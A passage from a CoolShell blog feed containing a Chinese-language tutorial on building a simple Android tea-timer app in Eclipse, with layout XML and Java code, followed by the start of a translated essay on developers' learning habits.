/></p>\n<ul>\n<li>点击OK按钮，保存信息。</li>\n</ul>\n<h3>选择Android 平台</h3>\n<p>在你开始编写Android应用程序之前，你需要为你需要开发应用程序的Android设备下载SDK平台。每个平台都有可以安装在用户设备上的不同版本的SDK。对于Android1.5或以上版本，有两个可用的平台： <em>Android Open Source Project</em> 和 <em>Google</em>.</p>\n<p><em>Android Open Source Project</em> 平台是开源的，但是不包括Google公司的私有化扩展，比如Google Map。如果不选择使用Google的API，Google的地图功能就不会在你的应用程序中生效。除非你有特别的原因，否则我们推荐你选择Google平台，因为这样你可享受到Google的扩展类库提供的便利。</p>\n<ul>\n<li>选择<em>Window Android SDK and AVD Manager</em>.</li>\n<li>点击左栏中的<em>Available Packages</em> 并选择选择Respository中有效的Android SDK平台。</li>\n<li>你可以选择列表中所需要的平台，或全选下载所有有效的平台。当你选择完毕，单击<em>Install Selected </em>并完成安装。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4307\" title=\"sdk\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/sdk.jpg\" alt=\"\" width=\"500\" height=\"291\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/sdk.jpg 500w, https://coolshell.cn/wp-content/uploads/2011/04/sdk-300x174.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /><br />\n一旦成功的下载所有的平台后，你就可以准备开始开发Android应用程序了。</p>\n<h3>创建一个新的Android项目</h3>\n<p>Eclipse的新建项目向导能为你创建一个新的Android项目，并生成可以开始运行的文件和代码。通过向导生成代码，可以让你马上得到一个Android程序运行的直观映像并为你提供了一个帮助你快速入门的方法：</p>\n<ul>\n<li>选择 <em>File-&gt;New-&gt;Project…</em></li>\n<li>选择<em>Android Project</em></li>\n<li>在<em>New Project</em> 对话框, 键入如下的设置:</li>\n</ul>\n<p>[code]<br />\nProject Name: BrewClock<br />\nBuild Target: Google Inc. 1.6 (Api Level 4)<br />\nApplication Name: BrewClock<br />\nPackage Name: com.example.brewclock<br />\nCreate Activity: BrewClockActivity<br />\nMin SDK Version: 4<br />\n[/code]</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4304\" title=\"eclipse_new_project_settings\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_new_project_settings.jpg\" alt=\"\" width=\"525\" height=\"1061\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_new_project_settings.jpg 525w, https://coolshell.cn/wp-content/uploads/2011/04/eclipse_new_project_settings-148x300.jpg 148w, https://coolshell.cn/wp-content/uploads/2011/04/eclipse_new_project_settings-506x1024.jpg 506w\" sizes=\"(max-width: 525px) 100vw, 525px\" /></p>\n<p>在点击了完成按钮之后，Eclipse将为你创建一个新的可以运行的Android项目。注意，你通知了Eclipse生成了一个叫做BrewClockActivity的Activity。这个Activity的代码用于运行你的应用程序。生成的代码将在程序运行时非常简单地显示一条“Hello World”消息。</p>\n<h4>包</h4>\n<p>包名是你的应用程序标示。当你开始准备在Android Market上发布你的应用程序的时候，Android用这个标识符精确地记录你的应用程序的更新过程，因此让包名唯一是非常重要的。尽管我们在这里使用了com.example.brewclock这样的名字空间，对于真实的应用程序，你应该选择类似于com.你的公司名.你的应用程序名 这样的包名。</p>\n<h4>SDK 版本</h4>\n<p>Min SDK Version 是你的Android程序所能运行得最早版本号。对于每个新发布的Android，SDK会增加并修改一些方法。通过选择一个版本号，Android（Android Market）会知道你的应用程序能运行在等于或晚于指定版本的设备之上。</p>\n<h3>运行你的应用程序</h3>\n<p>现在让我们开始在Eclipse中运行我们的应用程序。由于是第一次运行，Eclipse将会询问你的项目类型：</p>\n<ul>\n<li>选择<em>Run-&gt;Run</em> 或 按下 <em>Ctrl+F11</em>.</li>\n<li>选择<em>Android Application</em> 并点击 <em>OK </em>按钮.</li>\n</ul>\n<p>Eclipse 将会在一个Android设备上运行一个应用程序。在这个时候，由于你没有任何Android设备，因此在运行时一定会返回一个失败，并且询问你是否要新建一个Android的虚拟设备。（AVD）<br />\n<img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4305\" title=\"eclipse_no_avd\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_no_avd.jpg\" alt=\"\" width=\"534\" height=\"172\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_no_avd.jpg 534w, https://coolshell.cn/wp-content/uploads/2011/04/eclipse_no_avd-300x96.jpg 300w\" sizes=\"(max-width: 534px) 100vw, 534px\" /></p>\n<h4>Android 虚拟设备</h4>\n<p>Android 虚拟设备 (AVD) 是一个模拟真实世界中Android设备的模拟器，例如移动电话或平板电脑。你可以在不买任何真实Android设备情况下，使用AVD测试你的应用。</p>\n<p>你可以创建任意多个你喜欢的AVD，每个可以建立在不同版本的Android平台之上。对于你创建的每个Android设备，你可以配置不同的硬件属性，比如是否具有物理键盘，是否支持GPS，摄像头的像素，等等。</p>\n<p>在你开始运行你的应用程序之前，你需要创建你的AVD，来运行指定的SDK平台（Google APIs 1.6）。</p>\n<p>现在让我开始:</p>\n<ul>\n<li>如果还没有开始运行你的应用程序，点击run（或按下 <em>Ctrl+F11</em>）。</li>\n<li>当目标设备弹出警告，点击<em>Yes</em> 以创建新的AVD。</li>\n<li>单击<em>Android SDK and AVD      Manager</em> 对话框内的<em>New</em> 按钮.</li>\n<li>为你的AVD键入如下的设置：</li>\n</ul>\n<p>[code]<br />\nName: Android_1.6<br />\nTarget: Google APIs (Google Inc.) &#8211; API Level 4<br />\nSD Card Size: 16 MiB<br />\nSkin Built In: Default (HVGA)<br />\n[/code]</p>\n<ul>\n<li>单击 <em>Create AVD</em> 让Android为你创建一个新虚拟设备。</li>\n<li>关闭the <em>Android SDK and AVD Manager</em> 对话框.</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4308\" title=\"sdk_manager_new_avd\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/sdk_manager_new_avd.jpg\" alt=\"\" width=\"400\" height=\"574\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/sdk_manager_new_avd.jpg 400w, https://coolshell.cn/wp-content/uploads/2011/04/sdk_manager_new_avd-209x300.jpg 209w\" sizes=\"(max-width: 400px) 100vw, 400px\" /></p>\n<h4>运行代码</h4>\n<p>再次运行你的应用程序（<em>Ctrl+F11</em>）。 Eclipse 将build 你的项目并运行一个新的AVD。记住，AVD模拟了一个完全的Android系统，因此你需要有耐心来等待这个缓慢的启动过程，就如同你重启真实的Android设备一样。一个好的做法是不要关闭你的AVD，直到你完成了你一天的工作。<br />\n当你的模拟器启动后，Eclipse自动地安装并运行你的应用程序。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4301\" title=\"app_running-550-e1287474474253\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/app_running-550-e1287474474253.jpg\" alt=\"\" width=\"499\" height=\"355\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/app_running-550-e1287474474253.jpg 499w, https://coolshell.cn/wp-content/uploads/2011/04/app_running-550-e1287474474253-300x213.jpg 300w\" sizes=\"(max-width: 499px) 100vw, 499px\" /></p>\n<h3>开发你第一个Android应用</h3>\n<p>生成的代码能良好的运行，但是你真正想要的是开发一个真实的应用程序。为此，我们首先果一个咸蛋的设计流程，并开始创建一个可以让你部署在Android设备上的应用。</p>\n<p>大部分的开发者（包括我自己）都喜欢每天一杯咖啡或茶。在下一节中，你将开发一个简单的泡茶计数器应用程序来记录用户泡了多少杯茶，并为泡每杯茶做一个定时器。</p>\n<p>你可以从<a href=\"http://github.com/cblunt/brewclock\">GitHub</a>下载整个教程的源代码.</p>\n<h4>设计用户界面</h4>\n<p>在开发任何Android应用程序之前的第一步就是设计和开发用户界面。下面是一个我们这个应用程序的用户界面的一个概览。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4302\" title=\"design_sketch\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/design_sketch.jpg\" alt=\"\" width=\"331\" height=\"505\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/design_sketch.jpg 331w, https://coolshell.cn/wp-content/uploads/2011/04/design_sketch-196x300.jpg 196w\" sizes=\"(max-width: 331px) 100vw, 331px\" /></p>\n<p>用户将能通过+和-按钮设置一个泡茶的定时器。当单击开始按钮，定时器将开始按指定的时间递减。除非用户再次点击按钮以取消计时，否则当定时器为0的时候，累计的泡茶计数brew将增加1。</p>\n<h4>开发用户界面</h4>\n<p>Android 用户界面或布局<em>layouts</em>, 是通过XML文档来描述的，可以在项目的res/layouts目录下找到。在之前运行在模拟器上代码中，我们可以看到由eclipse自动生成的布局代码在res/layouts/main.xml 中。</p>\n<p>Eclipse有一个图形化的布局设计器，通过在屏幕上的拖拽控制来完成布局的设计，然而，我却发现直接写XML并使用图形布局来预览是更容易的方式。</p>\n<p>现在让我们对main.xml做一些工作以达到上图的效果：</p>\n<ul>\n<li>在Eclipse中通过双击PackageExplorer的res/layouts/main.xml 来打开xml。</li>\n<li>点击屏幕下方main.xml 来切换为xml视图。</li>\n</ul>\n<p>将main.xml中内容改为如下的内容：</p>\n<p>[code]<br />\n# /res/layouts/main.xml<br />\n&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;<br />\n&lt;LinearLayout<br />\n  xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;<br />\n  android:orientation=&quot;vertical&quot;<br />\n  android:layout_width=&quot;fill_parent&quot;<br />\n  android:layout_height=&quot;fill_parent&quot;&gt;<br />\n  &lt;LinearLayout<br />\n    android:orientation=&quot;horizontal&quot;<br />\n    android:layout_width=&quot;fill_parent&quot;<br />\n    android:layout_height=&quot;wrap_content&quot;<br />\n    android:padding=&quot;10dip&quot;&gt;<br />\n    &lt;TextView<br />\n      android:layout_width=&quot;wrap_content&quot;<br />\n      android:layout_height=&quot;wrap_content&quot;<br />\n      android:textSize=&quot;20dip&quot;<br />\n      android:text=&quot;Brews: &quot; /&gt;<br />\n    &lt;TextView<br />\n      android:layout_width=&quot;fill_parent&quot;<br />\n      android:layout_height=&quot;wrap_content&quot;<br />\n      android:text=&quot;None&quot;<br />\n      android:gravity=&quot;right&quot;<br />\n      android:textSize=&quot;20dip&quot;<br />\n      android:id=&quot;@+id/brew_count_label&quot; /&gt;<br />\n  &lt;/LinearLayout&gt;<br />\n  &lt;LinearLayout<br />\n    android:orientation=&quot;horizontal&quot;<br />\n    android:layout_width=&quot;fill_parent&quot;<br />\n    android:layout_height=&quot;wrap_content&quot;<br />\n    android:layout_weight=&quot;1&quot;<br />\n    android:gravity=&quot;center&quot;<br />\n    android:padding=&quot;10dip&quot;&gt;<br />\n    &lt;Button<br />\n      android:id=&quot;@+id/brew_time_down&quot;<br />\n      android:layout_width=&quot;wrap_content&quot;<br />\n      android:layout_height=&quot;wrap_content&quot;<br />\n      android:text=&quot;-&quot;<br />\n      android:textSize=&quot;40dip&quot; /&gt;<br />\n    &lt;TextView<br />\n      android:id=&quot;@+id/brew_time&quot;<br />\n      android:layout_width=&quot;wrap_content&quot;<br />\n      android:layout_height=&quot;wrap_content&quot;<br />\n      android:text=&quot;0:00&quot;<br />\n      android:textSize=&quot;40dip&quot;<br />\n      android:padding=&quot;10dip&quot; /&gt;<br />\n    &lt;Button<br />\n      android:id=&quot;@+id/brew_time_up&quot;<br />\n      android:layout_width=&quot;wrap_content&quot;<br />\n      android:layout_height=&quot;wrap_content&quot;<br />\n      android:text=&quot;+&quot;<br />\n      android:textSize=&quot;40dip&quot; /&gt;<br />\n  &lt;/LinearLayout&gt;<br />\n  &lt;Button<br />\n    android:id=&quot;@+id/brew_start&quot;<br />\n    android:layout_width=&quot;fill_parent&quot;<br />\n    android:layout_height=&quot;wrap_content&quot;<br />\n    android:layout_gravity=&quot;bottom&quot;<br />\n    android:text=&quot;Start&quot; /&gt;<br />\n&lt;/LinearLayout&gt;</p>\n<p>[/code]</p>\n<p>正如你所见的，Android的XML布局文件是繁琐的，但却能让你控制到屏幕的各个元素。</p>\n<p>在Android中最重要的接口元素是布局Layout容器，例如例子中使用的LinearLayout 。这些元素对于用户是不可见的,但是却扮演者例如Buttons 和TextViews这些元素的布局容器。</p>\n<p>Android中有几种不同类型的布局视图layout view，每一种都用于开发不同的布局。如同LinearLayout 和AbsoluteLayout ，TableLayout 可以让你使用更为复杂的基于表格结构的布局。你可以在SDK的API文档的<a href=\"http://developer.android.com/guide/topics/ui/layout-objects.html\">通用布局对象</a>中查找到更多的布局。</p>\n<h4>关联你的布局Layout与代码</h4>\n<p>保存你的布局，在Eclipse中点击<em>Run</em>图标或按下<em>Ctrl+F11</em>重新在模拟器中运行你的程序。你现看到不是之前出现的Hello World消息了，你将看到Android显示了一个新的界面。</p>\n<p>如果点击界面上的任何按钮，他们将期望的显示为高亮，但是不会执行任何操作。现在让我们在布局修改后改进一下我们的源码：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n...\nimport android.widget.Button;\nimport android.widget.TextView;\n\npublic class BrewClockActivity extends Activity {\n  /** Properties **/\n  protected Button brewAddTime;\n  protected Button brewDecreaseTime;\n  protected Button startBrew;\n  protected TextView brewCountLabel;\n  protected TextView brewTimeLabel;\n\n  ...\n }\n</pre>\n<p>下一步,我们将修改调用onCreate。当Android启动你的应用程序的时候，Android会首先调用这个方法。 在Eclipse生成的代码中，onCreate把activity的视图设置成R.layout.main。这行代码告诉Android解释我们的布局配置XML文件，并显示它。</p>\n<h4>资源对象</h4>\n<p>在Android中，R是一个自动生成的对象，这是一个特殊的对象，你可以在代码中通过这个对象访问项目中的资源（布局，字符串，菜单，图标，&#8230;） 。每个资源都有一个给定的id。在上面的那个布局文件中，有一些@+id XML 属性。我们将通过这些值来关联布局中的Buttons 与TextViews和我们的代码和：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    setContentView(R.layout.main);\n\n    // Connect interface elements to properties\n    brewAddTime = (Button) findViewById(R.id.brew_time_up);\n    brewDecreaseTime = (Button) findViewById(R.id.brew_time_down);\n    startBrew = (Button) findViewById(R.id.brew_start);\n    brewCountLabel = (TextView) findViewById(R.id.brew_count_label);\n    brewTimeLabel = (TextView) findViewById(R.id.brew_time);\n  }\n}\n</pre>\n<h4>监听事件</h4>\n<p>为了检测到用户单击我们的按钮，我们需要实现一个监听器listener。你可能会从其他的事件驱动系统中熟悉监听器或回调函数<em>callbacks</em>。比如Javascript/JQuery事件或Rails的回调函数。</p>\n<p>Android通过Listener接口提供相似的机制，例如OnClickListener，这个接口中定义了那些会被事件触发的方法。当用户点击屏幕的时候，实现OnClickListener 接口将会通知你的应用程序，并告诉他们所按得屏幕按钮。你当然也需要告诉每个button的ClickListener，以便Android知道具体通知到那个监听器：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n...\n// Be sure not to import\n// `android.content.dialoginterface.OnClickListener`.\nimport android.view.View.OnClickListener;\n\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Setup ClickListeners\n    brewAddTime.setOnClickListener(this);\n    brewDecreaseTime.setOnClickListener(this);\n    startBrew.setOnClickListener(this);\n  }\n  ...\n  public void onClick(View v) {\n    // TODO: Add code to handle button taps\n  }\n}\n</pre>\n<p>下一步，我们将增加每个按钮按下的处理过程。我们将为Activity类增加4个属性，这些属性将用来让用户设置和记录我们泡茶时间，泡茶计数，计时器是否在运行的标志。</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  protected int brewTime = 3;\n  protected CountDownTimer brewCountDownTimer;\n  protected int brewCount = 0;\n  protected boolean isBrewing = false;\n  ...\n  public void onClick(View v) {\n    if(v == brewAddTime)\n      setBrewTime(brewTime + 1);\n    else if(v == brewDecreaseTime)\n      setBrewTime(brewTime -1);\n    else if(v == startBrew) {\n      if(isBrewing)\n        stopBrew();\n      else\n        startBrew();\n    }\n  }\n}\n</pre>\n<p>注意我们使用了Android提供的类CountDownTimer 。这让我们非常容易的创建和开始一个简单的递减计数，这个递减计数在递减运行的时候，每当执行一个递减就发出一个通知。你将在下面的startBrew 方法中使用到这个计数器。</p>\n<p>在下面的方法是所有处理逻辑，这些处理逻辑用于处理设置泡茶时间，开始停止计数和维护计数器。我们同样地在onCreate方法中来初始化我们的 brewTime和 brewCount变量。</p>\n<p>将这些代码放入到不同的类中是一种好做法。但是为了简洁，我把我们所有的代码都放到了BrewClockActivity中：</p>\n<p># /src/com/example/brewclock/BrewClockActivity.java</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n...\npublic class BrewClockActivity extends Activity\n  implements OnClickListener {\n  ...\n  public void onCreate(Bundle savedInstanceState) {\n    ...\n    // Set the initial brew values\n    setBrewCount(0);\n    setBrewTime(3);\n  }\n\n  /**\n   * Set an absolute value for the number of minutes to brew.\n   * Has no effect if a brew is currently running.\n   * @param minutes The number of minutes to brew.\n   */\n  public void setBrewTime(int minutes) {\n    if(isBrewing)\n      return;\n\n    brewTime = minutes;\n\n    if(brewTime &lt; 1)\n      brewTime = 1;\n\n    brewTimeLabel.setText(String.valueOf(brewTime) + &quot;m&quot;);\n  }\n\n  /**\n   * Set the number of brews that have been made, and update\n   * the interface.\n   * @param count The new number of brews\n   */\n  public void setBrewCount(int count) {\n    brewCount = count;\n    brewCountLabel.setText(String.valueOf(brewCount));\n  }\n\n  /**\n   * Start the brew timer\n   */\n  public void startBrew() {\n    // Create a new CountDownTimer to track the brew time\n    brewCountDownTimer = new CountDownTimer(brewTime * 60 * 1000, 1000) {\n      @Override\n      public void onTick(long millisUntilFinished) {\n        brewTimeLabel.setText(String.valueOf(millisUntilFinished / 1000) + &quot;s&quot;);\n      }\n\n      @Override\n      public void onFinish() {\n        isBrewing = false;\n        setBrewCount(brewCount + 1);\n\n        brewTimeLabel.setText(&quot;Brew Up!&quot;);\n        startBrew.setText(&quot;Start&quot;);\n      }\n    };\n\n    brewCountDownTimer.start();\n    startBrew.setText(&quot;Stop&quot;);\n    isBrewing = true;\n  }\n\n  /**\n   * Stop the brew timer\n   */\n  public void stopBrew() {\n    if(brewCountDownTimer != null)\n      brewCountDownTimer.cancel();\n\n    isBrewing = false;\n    startBrew.setText(&quot;Start&quot;);\n  }\n  ...\n}\n</pre>\n<p>这段代码唯一和Android相关的就是使用setText方法来设置文本的显示文字。在startBrew方法中，我们创建，并开始了一个CountDownTimer来开每秒递减计数直到计数器为0。注意，我们定义了CountDownTimer以内联方式监听onTick 和 onFinish方法。 onTick 方法将每1000毫秒（1秒）执行一次，并递减, 当计数器为0的时候，onFinish方法被调用。</p>\n<h4>避免在你的代码中硬编码</h4>\n<p>为了使教程代码简单，我故意地在程序中将控件的标号直接写到字串中（例如： &#8220;Brew Up!&#8221;, &#8220;Start&#8221;, &#8220;Stop&#8221;） 通常，这不是一个好的做法，因为如果在大型项目中，这样做会使得修改变得麻烦。</p>\n<p>Android 提供了一种简洁的方法让你使用R对象来使字符串和代码分离。R 让你在xml文件（res/values/strings.xml）定义所有你程序中字符串，并让你可以在代码中应用到这些字符串。例如：</p>\n<p># /res/values/strings.xml</p>\n<p>[code]<br />\n&lt;string name=&quot;brew_up_label&quot;&gt;Brew Up!&lt;/string&gt;<br />\n&#8230;<br />\n[/code]</p>\n<p># /res/com/example/brewclock/BrewClockActivity.java</p>\n<p>[code]<br />\n&#8230;<br />\nbrewLabel.setText(R.string.brew_up_label);<br />\n&#8230;<br />\n[/code]</p>\n<p>现在，如果你想改变Brew Up! 字样，你只要一次性的修改strings.xml文件就行了。你的应用将生成一堆代码来保证你程序中所有使用到这些字符串的地方都能被生效！</p>\n<h4>运行Brew Clock</h4>\n<p>代码完成之后，现在是试运行程序的时候了。单击<em>Run</em> 或 <em>Ctrl+F11</em> 在模拟器中启动我们的应用. 所有都运行良好，你将会看到你创建的用户界面在准备时间一到就可以喝你所泡的茶了！试着设置不同的时间，并点击<em>Start</em> 观看倒计时。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4300\" title=\"app_finished-550-e1287474491689\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/app_finished-550-e1287474491689.jpg\" alt=\"\" width=\"499\" height=\"355\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/app_finished-550-e1287474491689.jpg 499w, https://coolshell.cn/wp-content/uploads/2011/04/app_finished-550-e1287474491689-300x213.jpg 300w\" sizes=\"(max-width: 499px) 100vw, 499px\" /></p>\n<h3>总结</h3>\n<p>在这个关于Android的简单介绍中，你已学会如何安装Android SDK和Eclipse的Android 开发工具插件（ADT）。你也学会如何创建一个模拟设备，并通过这个设备来测试你的应用程序。你还学会了如何开发Android应用程序。上面了那些作为标题的关键概念在以后你自己开发Android应用程序的时候将会经常用到。</p>\n<p>我们希望，这个教程能激发你的开发移动应用程序的欲望，并步入这个令人激动的领域。Android为当前和即将到来的移动设备应用程序开发提供了一条宽广的道路。如果你已经开发你自己的移动应用，请在评论中告诉我们。</p>\n<p><em>(ik), (vf)</em></p>\n<p><em>（全文完）</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" alt=\"Eclipse开发Android应用程序入门:重装上阵\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门:重装上阵</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4270.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>34</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员的谎谬之言还是至理名言？</title>\n\t\t<link>https://coolshell.cn/articles/4235.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4235.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 07 Apr 2011 02:08:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4235</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有朋友（网友never）在酷壳Coolshell.cn的留言版上问我，为什么关注了这很多的东西，我想我可以用下文来回答这位网友，因为我和作者的观点几乎一致。这篇...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4235.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有朋友（网友never）在酷壳Coolshell.cn的<a href=\"https://coolshell.cn/guestbook#comment-40758\" target=\"_blank\">留言版上问我</a>，为什么关注了这很多的东西，我想我可以用下文来回答这位网友，因为我和作者的观点几乎一致。这篇文章由 ALAN SKORKIN写的 “<a href=\"http://www.skorks.com/2011/02/the-greatest-developer-fallacy-or-the-wisest-words-youll-ever-hear/\" target=\"_blank\">The Greatest Developer Fallacy Or The Wisest Words You’ll Ever Hear?</a>” ，我把其全文翻译如下，我很喜欢这篇文章，希望你也喜欢。（翻译的也许不好，欢迎指正）</p>\n<p>—————————————————正文分隔线——————————————————</p>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"Wisdom\" src=\"http://www.skorks.com/wp-content/uploads/2011/02/wisdom-225x300.jpg\" alt=\"Wisdom\" hspace=\"20\" vspace=\"5\" width=\"262\" height=\"349\" align=\"left\" /></p>\n<p>&#8220;<span style=\"color: #cc0000;\"><strong><em>I will learn it when I need it &#8211; </em>我会在我需要的时候再学</strong></span>&#8220;！我听到这句已经很多年了。这对于一个高速变化的软件行业环境来说，这似乎是一个非常实用的态度。 在某些方面这的确很实用主义，不过在其它的方面，我为这句话感到很不爽。这句话变成了整个软件行业的福音，但却没有让我们的软件行业变得更好。其问题在于，<strong>这句话伪装在于其听上去像是一个智慧的有经验的开发者说的，但是人们只是以此为借口而随波逐流</strong>。实在是有太多的东西需要我们去了解，我们也的确需要在工作当中来学习这些东西。但是， “在工作中学习”和“根据遇到的问题捡知识”这两者有着巨大的不同。</p>\n<ul>\n<li>另外，目前整个软件行业越来越需要一堆多面手，也许现在已经是这样了，只是我还没有注意到。当然，我也不喜欢这种情。现在，好像没有人愿意花更多的时间来把某一个东西学好学深学扎实，比如 <a href=\"http://www.skorks.com/2010/04/on-the-value-of-fundamentals-in-software-development/\" target=\"_blank\">计算机科学的基础知识</a>，或是最新的你正在使用的技术，甚至你在最近几年内每天都在使用其编码的程序语言（参考：<a href=\"http://blog.tmorris.net/java-is-pass-by-value/\" target=\"_blank\">Java is passed by value</a>）（<strong>译注：</strong>我在<a title=\"如何学好C++语言\" href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\">如何学好C++一文</a>的回复中已经看到一些这样的人）。何苦呢？你会在你的学习路途中看到这些东西被更新，被废弃，并可能变得小众化。我和很多不同的人讨论过很多次，但是好像没有人意识到这是一个问题。 “<strong>哥们，做个实用主义的人吧</strong>”。</li>\n</ul>\n<ul>\n<li>与此同时，我们所有的人都在相互地克隆和模仿（<strong>译注：</strong>参看<a title=\"中国的C2C模式\" href=\"https://coolshell.cn/articles/3820.html\" target=\"_blank\">中国的C2C</a>）。你需要一个Java程序员，我是一个Java程序员，你也是一个Java程序员，我的邻居也是一个Java程序员。我们之间有什么差别？其实，基本没有差别。好吧，我有一些jQuery的经历，太好，所以，你知道怎么来做一个折叠式的菜单？当然，我可以Google一下，然后剽窃别人最好的代码给你 :)（<strong>译注：</strong>参看“<a title=\"十条不错的编程观点\" href=\"https://coolshell.cn/articles/2424.html\" 